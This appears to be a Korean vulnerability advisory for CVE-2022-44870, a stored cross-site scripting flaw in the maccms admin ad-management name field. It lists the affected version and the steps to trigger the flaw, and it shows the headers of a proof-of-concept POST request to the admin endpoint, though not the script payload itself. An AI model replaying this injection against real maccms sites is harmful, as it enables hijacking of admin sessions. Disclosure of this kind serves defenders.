CVE-2022-44870

maccms admin+ xss 공격

개요

제조사 웹사이트 정보：https://maccms.pro

소스 코드 다운로드 주소 ： https://github.com/maccmspro/maccms10.git

1. 영향을 받는 버전: V2021.1000.2000

   

2. 취약점 세부 정보

https://github.com/maccmspro/maccms10/issues/23

백그라운드로 이동하여 기본 > AD 관리 > 이름으로 이동합니다.

이름 입력 상자에 payload1을 삽입합니다.

XSS 공격을 유발할 수 있습니다.

취약점 이름：저장형 XSS

취약점 수준：중간 위험

취약점 위치： 광고 관리-->이름

cat_title에 삽입

http://127.0.0.1/admin.php/admin/banner/infocat.html

3. 재현 가능한 취약점 및 POC

POST /admin.php/admin/banner/infocat.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 65

Origin: http://192.168.52.163

Connection: close

Referer: http://192.168.52.163/admin.php/admin/banner/infocat.html

Cookie: PHPSESSID=qgaks01bl6ip8j7fseaabj4l9q